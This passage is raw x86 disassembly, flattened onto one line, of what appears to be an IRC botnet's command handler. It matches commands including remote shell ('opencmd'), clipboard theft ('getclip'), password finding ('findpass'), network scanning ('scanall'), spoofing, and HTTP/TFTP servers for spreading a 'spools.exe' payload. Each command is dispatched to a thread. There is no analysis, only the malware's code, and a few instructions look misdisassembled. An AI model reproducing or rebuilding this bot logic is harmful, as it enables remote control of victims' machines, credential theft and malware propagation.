eax pop ecx jz loc_403FEF push edi push offset aDll ; "dll" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_403FEF push edi push offset aOpencmd ; "opencmd" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_403FB0 push edi push offset aOcmd ; "ocmd" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_403FB0 push edi push offset aCmdstop ; "cmdstop" call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_40342C push dword ptr [ebp+esi-8Ch] push 0Ah push offset dword_432E90 push offset dword_432E84 jmp loc_402B46 ; --------------------------------------------------------------------------- loc_40342C: ; CODE XREF: .nsp0:00403412j push edi push offset dword_432E80 call sub_41C710 pop ecx test eax, eax pop ecx jnz loc_40352B cmp [ebp-8], ebx jnz short loc_403460 push ebx push dword ptr [ebp-4] push offset dword_432E6C push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_4099D2 add esp, 14h loc_403460: ; CODE XREF: .nsp0:00403444j mov eax, [ebp+20h] cmp [eax], bl jz short loc_40346A inc eax jmp short loc_40346F ; --------------------------------------------------------------------------- loc_40346A: ; CODE XREF: .nsp0:00403465j mov eax, offset aEmpty ; "<Empty>" loc_40346F: ; CODE XREF: .nsp0:00403468j push eax push ebx lea eax, [ebp-2C0h] push offset aD_S ; "%d. %s" push eax call sub_41BF36 push 1 lea eax, [ebp-2C0h] push dword ptr [ebp-4] push eax push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_4099D2 push offset unk_432E38 call sub_4157A6 add esp, 28h loc_4034A9: ; CODE XREF: .nsp0:0040372Bj ; .nsp0:00404A34j mov eax, [ebp+esi-8Ch] cmp eax, ebx mov [ebp+18h], eax jz loc_401D6C push edi push offset aSpoof ; "spoof" call sub_41C710 pop ecx test eax, eax pop ecx jnz loc_404B40 mov esi, [ebp+18h] push offset aOff ; "off" push esi call sub_41C710 pop ecx test eax, eax pop ecx jnz loc_404A46 lea eax, [ebp-2C0h] push offset unk_432E04 push eax mov dword_4D49A8, ebx call sub_41BF36 pop ecx pop ecx loc_403501: ; CODE XREF: .nsp0:00404AE7j ; .nsp0:00404B0Dj ... cmp [ebp-8], ebx jnz loc_4097B8 push ebx lea eax, [ebp-2C0h] push dword ptr [ebp-4] push eax push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_4099D2 loc_403523: ; CODE XREF: .nsp0:00408ABCj ; .nsp0:00408B20j add esp, 14h jmp loc_4097B8 ; --------------------------------------------------------------------------- loc_40352B: ; CODE XREF: .nsp0:0040343Bj push edi push offset aGetclip ; "getclip" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_403F6F push edi push offset aGc ; "gc" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_403F6F push edi push offset aFlusharp ; "flusharp" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_403F58 push edi push offset aFarp ; "farp" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_403F58 push edi push offset aFlushdns ; "flushdns" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_403F20 push edi push offset aFdns ; "fdns" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_403F20 push edi push offset aCurrentip ; "currentip" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_403EE6 push edi push offset aCip ; "cip" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_403EE6 push edi push offset aRloginserver ; "rloginserver" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_403D98 push edi push offset aRlogin ; "rlogin" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_403D98 push edi push offset aHttpserver ; "httpserver" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_403C22 push edi push offset aHttp ; "http" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_403C22 push edi push offset aTftpserver ; "tftpserver" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_403AEB push edi push offset aTftp ; "tftp" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_403AEB push edi push offset aCrassh ; "crassh" call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_4036B7 lea eax, [ebp-2C0h] push offset dword_432D64 push eax call sub_41BF36 cmp [ebp-8], ebx pop ecx pop ecx jnz short loc_403696 push ebx lea eax, [ebp-2C0h] push dword ptr [ebp-4] push eax push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_4099D2 add esp, 14h loc_403696: ; CODE XREF: .nsp0:00403678j lea eax, [ebp-2C0h] push eax call sub_4157A6 mov dword ptr [esp], offset aCrash ; "crash" push dword ptr [ebp+esi-7Ch] call sub_41C710 jmp loc_4020BA ; --------------------------------------------------------------------------- loc_4036B7: ; CODE XREF: .nsp0:00403660j push edi push offset aScanall ; "scanall" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4037E7 push edi push offset aVall ; "vall" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4037E7 push edi push offset aPhonehome ; "phonehome" call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_40370B lea eax, [ebp-0C0h] push eax push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n" push dword ptr [ebp+0Ch] call sub_40998C jmp loc_401DD4 ; --------------------------------------------------------------------------- loc_40370B: ; CODE XREF: .nsp0:004036F0j push edi push offset aFindpass ; "findpass" call sub_41C710 pop ecx test eax, eax pop ecx jz short loc_403731 push edi push offset aFp ; "fp" call sub_41C710 pop ecx test eax, eax pop ecx jnz loc_4034A9 loc_403731: ; CODE XREF: .nsp0:0040371Aj push dword ptr [ebp-88h] lea eax, [ebp-0F54h] push 80h push eax call sub_41C030 mov eax, [ebp+0Ch] push offset unk_432CEC mov [ebp-0F58h], eax mov eax, [ebp-4] mov [ebp-0ED0h], eax mov eax, [ebp-8] mov [ebp-0ECCh], eax lea eax, [ebp-2C0h] push 200h push eax call sub_41C030 push ebx lea eax, [ebp-2C0h] push 26h push eax call sub_40B00E add esp, 24h mov [ebp-0ED4h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-0F58h] push ebx push eax push offset sub_417517 push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp-0ED4h] imul ecx, 234h cmp eax, ebx mov dword_444134[ecx], eax jz short loc_4037D6 loc_4037C0: ; CODE XREF: .nsp0:004037D4j cmp [ebp-0EC8h], ebx jnz loc_40833C push 32h call dword_427064 ; Sleep jmp short loc_4037C0 ; --------------------------------------------------------------------------- loc_4037D6: ; CODE XREF: .nsp0:004037BEj call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_432CB0 jmp loc_40832D ; --------------------------------------------------------------------------- loc_4037E7: ; CODE XREF: .nsp0:004036C6j ; .nsp0:004036DBj mov al, byte_43836A mov [ebp+8], ebx cmp al, bl mov edx, offset byte_43836A jz loc_401D6C mov ecx, edx loc_4037FE: ; CODE XREF: .nsp0:00403806j inc dword ptr [ebp+8] add ecx, 0Bh cmp [ecx], bl jnz short loc_4037FE cmp al, bl jz loc_401D6C mov [ebp+18h], edx mov esi, offset aO1_0 ; "#o1" loc_403818: ; CODE XREF: .nsp0:00403AD6j push 0Bh call sub_40B256 pop ecx mov ecx, eax mov eax, 190h cdq idiv dword ptr [ebp+8] add eax, ecx cmp eax, 1F4h jle short loc_403867 push ecx lea eax, [ebp-2C0h] push offset unk_432C70 push eax call sub_41BF36 push ebx lea eax, [ebp-2C0h] push dword ptr [ebp-4] push eax push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_4099D2 add esp, 20h jmp loc_403ACD ; --------------------------------------------------------------------------- loc_403867: ; CODE XREF: .nsp0:00403832j or dword ptr [ebp-730h], 0FFFFFFFFh cmp dword_438048, ebx mov dword ptr [ebp-734h], 64h mov dword ptr [ebp-748h], 5 mov dword ptr [ebp-744h], 320h mov [ebp+8], ebx jz short loc_4038D8 mov edi, offset dword_438048 loc_40389C: ; CODE XREF: .nsp0:004038BAj mov eax, [ebp+18h] add eax, 0FFFFFFF6h push eax lea eax, [edi-28h] push eax call sub_41C710 pop ecx test eax, eax pop ecx jz short loc_4038BE inc dword ptr [ebp+8] add edi, 40h cmp [edi], ebx jnz short loc_40389C jmp short loc_4038D8 ; --------------------------------------------------------------------------- loc_4038BE: ; CODE XREF: .nsp0:004038B0j mov eax, [ebp+8] mov ecx, eax mov [ebp-730h], eax shl ecx, 6 mov ecx, dword_438048[ecx] mov [ebp-74Ch], ecx loc_4038D8: ; CODE XREF: .nsp0:00403895j ; .nsp0:004038BCj cmp [ebp-74Ch], ebx jz loc_403AE1 push 10h lea eax, [ebp-2CCh] pop edi push eax lea eax, [ebp-30Ch] push eax mov [ebp-2CCh], edi push dword ptr [ebp+0Ch] call dword_4D1194 ; getsockname mov al, [ebp-8FFh] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp-308h], eax push dword ptr [ebp-308h] call dword_4D127C ; inet_ntoa push eax lea eax, [ebp-860h] push eax call sub_41BCA0 xor eax, eax cmp [ebp-8FFh], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp-860h] push eax call sub_41C4E0 add esp, 14h cmp edi, ebx mov [ebp+2Fh], bl jle short loc_403980 loc_40395E: ; CODE XREF: .nsp0:0040397Ej cmp eax, ebx jz short loc_403980 mov byte ptr [eax], 78h lea eax, [ebp-860h] push 30h push eax call sub_41C4E0 inc byte ptr [ebp+2Fh] pop ecx pop ecx movsx ecx, byte ptr [ebp+2Fh] cmp ecx, edi jl short loc_40395E loc_403980: ; CODE XREF: .nsp0:0040395Cj ; .nsp0:00403960j mov eax, [ebp+0Ch] push dword ptr [ebp-88h] mov [ebp-750h], eax mov eax, [ebp-4] mov [ebp-728h], eax mov eax, [ebp-8] mov [ebp-724h], eax mov edi, 80h lea eax, [ebp-850h] push edi push eax mov dword ptr [ebp-720h], 1 call sub_41C030 push offset byte_443398 push esi call sub_41C710 add esp, 14h test eax, eax jz short loc_4039E2 push esi lea eax, [ebp-7D0h] push edi push eax call sub_41C030 add esp, 0Ch jmp short loc_4039E8 ; --------------------------------------------------------------------------- loc_4039E2: ; CODE XREF: .nsp0:004039CDj mov [ebp-7D0h], bl loc_4039E8: ; CODE XREF: .nsp0:004039E0j cmp [ebp-720h], ebx mov eax, offset aRandom ; "Random" jnz short loc_4039FA mov eax, offset aSequential ; "Sequential" loc_4039FA: ; CODE XREF: .nsp0:004039F3j push dword ptr [ebp-734h] lea ecx, [ebp-860h] push dword ptr [ebp-744h] push dword ptr [ebp-748h] push dword ptr [ebp-74Ch] push ecx push eax lea eax, [ebp-2C0h] push offset unk_432BF0 push eax call sub_41BF36 push ebx lea eax, [ebp-2C0h] push 0Bh push eax call sub_40B00E add esp, 2Ch mov [ebp-740h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-860h] push ebx push eax push (offset loc_40C247+1) push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp-740h] imul ecx, 234h cmp eax, ebx mov dword_444134[ecx], eax jz short loc_403A84 loc_403A72: ; CODE XREF: .nsp0:00403A82j cmp [ebp-71Ch], ebx jnz short loc_403A9F push 32h call dword_427064 ; Sleep jmp short loc_403A72 ; --------------------------------------------------------------------------- loc_403A84: ; CODE XREF: .nsp0:00403A70j call dword_42708C ; RtlGetLastWin32Error push eax lea eax, [ebp-2C0h] push offset unk_432BB4 push eax call sub_41BF36 add esp, 0Ch loc_403A9F: ; CODE XREF: .nsp0:00403A78j cmp [ebp-8], ebx jnz short loc_403AC0 push ebx lea eax, [ebp-2C0h] push dword ptr [ebp-4] push eax push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_4099D2 add esp, 14h loc_403AC0: ; CODE XREF: .nsp0:00403AA2j lea eax, [ebp-2C0h] push eax call sub_4157A6 pop ecx loc_403ACD: ; CODE XREF: .nsp0:00403862j add dword ptr [ebp+18h], 0Bh mov eax, [ebp+18h] cmp [eax], bl jnz loc_403818 jmp loc_401D6C ; --------------------------------------------------------------------------- loc_403AE1: ; CODE XREF: .nsp0:004038DEj push offset unk_432B7C jmp loc_406E94 ; --------------------------------------------------------------------------- loc_403AEB: ; CODE XREF: .nsp0:00403636j ; .nsp0:0040364Bj push 5 call sub_40B256 test eax, eax pop ecx jle short loc_403B01 push offset unk_432B5C jmp loc_406E94 ; --------------------------------------------------------------------------- loc_403B01: ; CODE XREF: .nsp0:00403AF5j mov eax, [ebp+esi-8Ch] cmp eax, ebx jz short loc_403B24 push eax mov edi, 104h lea eax, [ebp-2D50h] push edi push eax call sub_41C030 add esp, 0Ch jmp short loc_403B38 ; --------------------------------------------------------------------------- loc_403B24: ; CODE XREF: .nsp0:00403B0Aj mov edi, 104h lea eax, [ebp-2D50h] push edi push eax push ebx call near ptr 0B40000h xchg eax, esp loc_403B38: ; CODE XREF: .nsp0:00403B22j mov esi, [ebp+esi-88h] cmp esi, ebx jnz short loc_403B48 mov esi, offset aSpools_exe ; "spools.exe" loc_403B48: ; CODE XREF: .nsp0:00403B41j push esi lea eax, [ebp-2C4Ch] push edi push eax call sub_41C030 mov eax, dword_429080 push 7Fh push dword ptr [ebp-88h] mov [ebp-2B40h], eax mov eax, [ebp+0Ch] mov [ebp-2B44h], ebx mov [ebp-2D54h], eax lea eax, [ebp-2B3Ch] push eax call sub_41BCA0 mov eax, [ebp-4] mov [ebp-2ABCh], eax mov eax, [ebp-8] mov [ebp-2AB8h], eax lea eax, [ebp-2D50h] push eax lea eax, [ebp-2C0h] push dword ptr [ebp-2B40h] push offset unk_432B28 push eax call sub_41BF36 push ebx lea eax, [ebp-2C0h] push 5 push eax call sub_40B00E add esp, 34h mov [ebp-2B48h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-2D54h] push ebx push eax push offset dword_411D98 push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp-2B48h] imul ecx, 234h cmp eax, ebx mov dword_444134[ecx], eax jz short loc_403C11 loc_403BFB: ; CODE XREF: .nsp0:00403C0Fj cmp [ebp-2AB4h], ebx jnz loc_40820E push 32h call dword_427064 ; Sleep jmp short loc_403BFB ; --------------------------------------------------------------------------- loc_403C11: ; CODE XREF: .nsp0:00403BF9j call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_432AEC jmp loc_406E7B ; --------------------------------------------------------------------------- loc_403C22: ; CODE XREF: .nsp0:0040360Cj ; .nsp0:00403621j mov edi, [ebp+esi-8Ch] cmp edi, ebx jz short loc_403C41 push edi call sub_41BE29 test eax, eax pop ecx jz short loc_403C41 push edi call sub_41BE29 pop ecx jmp short loc_403C46 ; --------------------------------------------------------------------------- loc_403C41: ; CODE XREF: .nsp0:00403C2Bj ; .nsp0:00403C36j mov eax, dword_4D108C loc_403C46: ; CODE XREF: .nsp0:00403C3Fj mov esi, [ebp+esi-88h] mov [ebp-36C8h], eax xor eax, eax cmp [ebp-8FCh], bl setz al cmp esi, ebx mov [ebp-36B4h], eax jz short loc_403C79 lea eax, [ebp-37CCh] push esi push eax call sub_41BF36 pop ecx pop ecx jmp short loc_403CA4 ; --------------------------------------------------------------------------- loc_403C79: ; CODE XREF: .nsp0:00403C66j lea eax, [ebp-4FF4h] push 104h push eax call near ptr 0B40000h jno short near ptr loc_403CDE+1 push ebx lea eax, [ebp-4C8h] push ebx push eax lea eax, [ebp-4FF4h] push eax call sub_41C081 add esp, 14h loc_403CA4: ; CODE XREF: .nsp0:00403C77j lea eax, [ebp-37CCh] push eax call sub_41B890 cmp byte ptr [ebp+eax-37CDh], 5Ch pop ecx jnz short loc_403CCF lea eax, [ebp-37CCh] push eax call sub_41B890 pop ecx mov [ebp+eax-37CDh], bl loc_403CCF: ; CODE XREF: .nsp0:00403CB9j push dword ptr [ebp-88h] mov esi, [ebp+0Ch] lea eax, [ebp-3A54h] loc_403CDE: ; CODE XREF: .nsp0:00403C8Aj mov [ebp-3A58h], esi push 80h push eax call sub_41C030 mov eax, [ebp-8] mov edi, [ebp-4] add esp, 0Ch mov [ebp-36B8h], eax lea eax, [ebp-37CCh] mov [ebp-36BCh], edi push eax push dword ptr [ebp-36C8h] push esi call sub_40AB6A pop ecx push eax lea eax, [ebp-2C0h] push offset unk_432AB0 push eax call sub_41BF36 push ebx lea eax, [ebp-2C0h] push 3 push eax call sub_40B00E add esp, 20h mov [ebp-36C0h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-3A58h] push ebx push eax push offset sub_40F891 push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp-36C0h] imul ecx, 234h cmp eax, ebx mov dword_444134[ecx], eax jz short loc_403D87 loc_403D71: ; CODE XREF: .nsp0:00403D85j cmp [ebp-36ACh], ebx jnz loc_403ED6 push 32h call dword_427064 ; Sleep jmp short loc_403D71 ; --------------------------------------------------------------------------- loc_403D87: ; CODE XREF: .nsp0:00403D6Fj call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_432A74 jmp loc_403EC7 ; --------------------------------------------------------------------------- loc_403D98: ; CODE XREF: .nsp0:004035E2j ; .nsp0:004035F7j mov edi, [ebp+esi-8Ch] cmp edi, ebx jz short loc_403DB7 push edi call sub_41BE29 test eax, eax pop ecx jz short loc_403DB7 push edi call sub_41BE29 pop ecx jmp short loc_403DBC ; --------------------------------------------------------------------------- loc_403DB7: ; CODE XREF: .nsp0:00403DA1j ; .nsp0:00403DACj mov eax, dword_429084 loc_403DBC: ; CODE XREF: .nsp0:00403DB5j mov [ebp-1824h], eax mov eax, [ebp+esi-88h] cmp eax, ebx jnz short loc_403DD3 lea eax, [ebp-0C0h] loc_403DD3: ; CODE XREF: .nsp0:00403DCBj push eax lea eax, [ebp-1964h] push 40h push eax call sub_41C030 mov esi, [ebp+esi-84h] add esp, 0Ch cmp esi, ebx jnz short loc_403DF5 mov esi, offset byte_443398 loc_403DF5: ; CODE XREF: .nsp0:00403DEEj push esi lea eax, [ebp-1924h] push 100h push eax call sub_41C030 push dword ptr [ebp-88h] lea eax, [ebp-19E4h] push 80h push eax call sub_41C030 mov eax, [ebp-8] mov esi, [ebp+0Ch] mov edi, [ebp-4] add esp, 18h mov [ebp-1810h], eax lea eax, [ebp-1964h] push eax mov [ebp-19E8h], esi push dword ptr [ebp-1824h] mov [ebp-1814h], edi push esi call sub_40AB6A pop ecx push eax lea eax, [ebp-2C0h] push offset unk_432A38 push eax call sub_41BF36 push ebx lea eax, [ebp-2C0h] push 9 push eax call sub_40B00E add esp, 20h mov [ebp-1820h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-19E8h] push ebx push eax push offset byte_41104F push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp-1820h] imul ecx, 234h cmp eax, ebx mov dword_444134[ecx], eax jz short loc_403EBB loc_403EA9: ; CODE XREF: .nsp0:00403EB9j cmp [ebp-180Ch], ebx jnz short loc_403ED6 push 32h call dword_427064 ; Sleep jmp short loc_403EA9 ; --------------------------------------------------------------------------- loc_403EBB: ; CODE XREF: .nsp0:00403EA7j call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_4329FC loc_403EC7: ; CODE XREF: .nsp0:00403D93j ; .nsp0:00406758j ... lea eax, [ebp-2C0h] push eax call sub_41BF36 add esp, 0Ch loc_403ED6: ; CODE XREF: .nsp0:00403D77j ; .nsp0:00403EAFj ... cmp [ebp-8], ebx jnz loc_40833C push ebx push edi jmp loc_40720F ; --------------------------------------------------------------------------- loc_403EE6: ; CODE XREF: .nsp0:004035B8j ; .nsp0:004035CDj mov esi, [ebp+esi-8Ch] cmp esi, ebx jz short loc_403EF9 push esi call sub_41BE29 jmp short loc_403F00 ; --------------------------------------------------------------------------- loc_403EF9: ; CODE XREF: .nsp0:00403EEFj push 0Bh call sub_40B275 loc_403F00: ; CODE XREF: .nsp0:00403EF7j cmp eax, ebx pop ecx jz loc_4097B8 push eax push dword ptr [ebp-4] push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_40B966 jmp loc_4043B9 ; --------------------------------------------------------------------------- loc_403F20: ; CODE XREF: .nsp0:0040358Ej ; .nsp0:004035A3j mov eax, dword_4D110C cmp eax, ebx jz short loc_403F3D call eax ; dword_4D110C test eax, eax jz short loc_403F36 push offset unk_4329D8 jmp short loc_403F42 ; --------------------------------------------------------------------------- loc_403F36: ; CODE XREF: .nsp0:00403F2Dj push offset unk_4329AC jmp short loc_403F42 ; --------------------------------------------------------------------------- loc_403F3D: ; CODE XREF: .nsp0:00403F27j push offset unk_432980 loc_403F42: ; CODE XREF: .nsp0:00403F34j ; .nsp0:00403F3Bj ... lea eax, [ebp-2C0h] push 200h push eax call sub_41C030 jmp loc_406C62 ; --------------------------------------------------------------------------- loc_403F58: ; CODE XREF: .nsp0:00403564j ; .nsp0:00403579j call sub_40AA8C test eax, eax jz short loc_403F68 push offset unk_43295C jmp short loc_403F42 ; --------------------------------------------------------------------------- loc_403F68: ; CODE XREF: .nsp0:00403F5Fj push offset unk_432930 jmp short loc_403F42 ; --------------------------------------------------------------------------- loc_403F6F: ; CODE XREF: .nsp0:0040353Aj ; .nsp0:0040354Fj cmp [ebp-8], ebx jnz short loc_403F8E push ebx push dword ptr [ebp-4] push offset dword_432918 push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_4099D2 add esp, 14h loc_403F8E: ; CODE XREF: .nsp0:00403F72j push ebx push dword ptr [ebp-4] call sub_418982 push eax push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_4099D2 push offset dword_4328FC jmp loc_404288 ; --------------------------------------------------------------------------- loc_403FB0: ; CODE XREF: .nsp0:004033E8j ; .nsp0:004033FDj push 0Ah call sub_40B256 test eax, eax pop ecx jle short loc_403FC6 push offset unk_4328D0 jmp loc_40957A ; --------------------------------------------------------------------------- loc_403FC6: ; CODE XREF: .nsp0:00403FBAj push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call near ptr loc_41A4EC+1 pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_403FE5 push offset unk_4328A8 jmp loc_40957A ; --------------------------------------------------------------------------- loc_403FE5: ; CODE XREF: .nsp0:00403FD9j push offset unk_432888 jmp loc_40957A ; --------------------------------------------------------------------------- loc_403FEF: ; CODE XREF: .nsp0:004033BEj ; .nsp0:004033D3j push dword ptr [ebp-8] push dword ptr [ebp-4] push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_40A729 jmp loc_401D69 ; --------------------------------------------------------------------------- loc_404008: ; CODE XREF: .nsp0:00403394j ; .nsp0:004033A9j push dword ptr [ebp+esi-8Ch] push dword ptr [ebp-4] push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_417228 jmp loc_401D69 ; --------------------------------------------------------------------------- loc_404025: ; CODE XREF: .nsp0:0040336Aj ; .nsp0:0040337Fj or edi, 0FFFFFFFFh call dword_4270A8 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi-8Ch] cmp esi, ebx mov [ebp+8], eax jz short loc_40404E push esi call sub_41BE29 pop ecx mov edi, eax loc_40404E: ; CODE XREF: .nsp0:00404043j mov eax, [ebp+8] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_404067 cmp edi, 0FFFFFFFFh jnz loc_4097B8 loc_404067: ; CODE XREF: .nsp0:0040405Cj push ebx call sub_41B12D push eax lea eax, [ebp-2C0h] push offset dword_432870 push eax call sub_41BF36 push ebx lea eax, [ebp-2C0h] push dword ptr [ebp-4] push eax push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_4099D2 lea eax, [ebp-2C0h] push eax call sub_4157A6 loc_4040A4: ; CODE XREF: .nsp0:00407910j add esp, 28h jmp loc_4097B8 ; --------------------------------------------------------------------------- loc_4040AC: ; CODE XREF: .nsp0:00403340j ; .nsp0:00403355j push dword ptr [ebp-4] push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_416029 lea eax, [ebp-2C0h] push offset dword_432850 push eax call sub_41BF36 jmp loc_4081EA ; --------------------------------------------------------------------------- loc_4040D3: ; CODE XREF: .nsp0:00403316j ; .nsp0:0040332Bj push 27h call sub_40B256 test eax, eax pop ecx jle short loc_404107 cmp [ebp-8], ebx jnz loc_401D6C push ebx push dword ptr [ebp-4] push offset unk_432830 push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_4099D2 loc_4040FF: ; CODE XREF: .nsp0:00408C47j add esp, 14h jmp loc_401D6C ; --------------------------------------------------------------------------- loc_404107: ; CODE XREF: .nsp0:004040DDj push dword ptr [ebp-88h] lea eax, [ebp-0B2Ch] push 80h push eax call sub_41C030 mov eax, [ebp+0Ch] mov esi, [ebp+esi-8Ch] mov [ebp-0B30h], eax mov eax, [ebp-4] mov [ebp-0AA4h], eax mov eax, [ebp-8] add esp, 0Ch cmp esi, ebx mov [ebp-0AA0h], eax mov [ebp-0AA8h], ebx jz short loc_404168 push esi push offset aFull ; "full" call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_404168 mov dword ptr [ebp-0AA8h], 1 loc_404168: ; CODE XREF: .nsp0:0040414Bj ; .nsp0:0040415Cj lea eax, [ebp-2C0h] push offset dword_43280C push eax call sub_41BF36 push ebx lea eax, [ebp-2C0h] push 27h push eax call sub_40B00E add esp, 14h mov [ebp-0AACh], eax lea eax, [ebp-10h] push eax lea eax, [ebp-0B30h] push ebx push eax push offset sub_41A174 push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp-0AACh] imul ecx, 234h cmp eax, ebx mov dword_444134[ecx], eax jz short loc_4041D6 loc_4041C0: ; CODE XREF: .nsp0:004041D4j cmp [ebp-0A9Ch], ebx jnz loc_4095A9 push 32h call dword_427064 ; Sleep jmp short loc_4041C0 ; --------------------------------------------------------------------------- loc_4041D6: ; CODE XREF: .nsp0:004041BEj call dword_42708C ; RtlGetLastWin32Error push eax lea eax, [ebp-2C0h] push offset unk_4327D0 push eax call sub_41BF36 add esp, 0Ch jmp loc_4095A9 ; --------------------------------------------------------------------------- loc_4041F6: ; CODE XREF: .nsp0:004032ECj ; .nsp0:00403301j cmp [ebp-8], ebx jnz short loc_404215 push ebx push dword ptr [ebp-4] push offset dword_4327B4 push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_4099D2 add esp, 14h loc_404215: ; CODE XREF: .nsp0:004041F9j push dword ptr [ebp+0Ch] call dword_4D1288 ; closesocket call dword_4D1148 ; WSACleanup call loc_418B05 push ebx call dword_427068 ; ExitProcess loc_404230: ; CODE XREF: .nsp0:004032C2j ; .nsp0:004032D7j push ebx lea eax, [ebp-2C0h] push dword ptr [ebp-4] push dword ptr [ebp+0Ch] push eax call sub_41B2E4 pop ecx pop ecx push eax push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_4099D2 push offset dword_432798 jmp short loc_404288 ; --------------------------------------------------------------------------- loc_40425B: ; CODE XREF: .nsp0:00403298j ; .nsp0:004032ADj push ebx lea eax, [ebp-2C0h] push dword ptr [ebp-4] push dword ptr [ebp+0Ch] push dword ptr [ebp+24h] push eax call sub_41B598 add esp, 0Ch push eax push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_4099D2 push offset dword_43277C loc_404288: ; CODE XREF: .nsp0:00403FABj ; .nsp0:00404259j call sub_4157A6 loc_40428D: ; CODE XREF: .nsp0:0040898Fj add esp, 18h jmp loc_4097B8 ; --------------------------------------------------------------------------- loc_404295: ; CODE XREF: .nsp0:0040326Ej ; .nsp0:00403283j push dword ptr [ebp-8] push dword ptr [ebp-4] push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_415846 jmp loc_401D69 ; --------------------------------------------------------------------------- loc_4042AE: ; CODE XREF: .nsp0:00403244j ; .nsp0:00403259j cmp [ebp-0Ch], ebx mov [ebp-1594h], bl jz short loc_4042ED mov esi, [ebp+esi-8Ch] cmp esi, ebx jz short loc_4042ED push esi push dword ptr [ebp-0Ch] call sub_41BFB0 pop ecx cmp eax, ebx pop ecx jz short loc_4042ED push eax push offset aS_2 ; "%s" lea eax, [ebp-1594h] push 80h push eax call sub_41C030 add esp, 10h loc_4042ED: ; CODE XREF: .nsp0:004042B7j ; .nsp0:004042C2j ... push dword ptr [ebp-88h] lea eax, [ebp-1614h] push 80h push eax call sub_41C030 mov eax, [ebp+0Ch] push offset dword_432764 mov [ebp-1618h], eax mov eax, [ebp-4] mov [ebp-1510h], eax mov eax, [ebp-8] mov [ebp-150Ch], eax lea eax, [ebp-2C0h] push eax call sub_41BF36 push ebx lea eax, [ebp-2C0h] push 25h push eax call sub_40B00E add esp, 20h mov [ebp-1514h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-1618h] push ebx push eax push offset byte_415887 push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp-1514h] imul ecx, 234h cmp eax, ebx mov dword_444134[ecx], eax jz short loc_40438D loc_404377: ; CODE XREF: .nsp0:0040438Bj cmp [ebp-1508h], ebx jnz loc_401D6C push 32h call dword_427064 ; Sleep jmp short loc_404377 ; --------------------------------------------------------------------------- loc_40438D: ; CODE XREF: .nsp0:00404375j call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_43272C jmp loc_4020B5 ; --------------------------------------------------------------------------- loc_40439E: ; CODE XREF: .nsp0:0040321Aj ; .nsp0:0040322Fj push dword ptr [ebp-4] push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_41572E push offset dword_432714 call sub_4157A6 loc_4043B9: ; CODE XREF: .nsp0:00403F1Bj add esp, 10h jmp loc_4097B8 ; --------------------------------------------------------------------------- loc_4043C1: ; CODE XREF: .nsp0:004031F0j ; .nsp0:00403205j push dword ptr [ebp-88h] lea eax, [ebp-0BC4h] push 80h push eax call sub_41C030 mov eax, [ebp+0Ch] mov esi, [ebp+esi-8Ch] mov [ebp-0BC8h], eax mov eax, [ebp-4] mov [ebp-0B3Ch], eax mov eax, 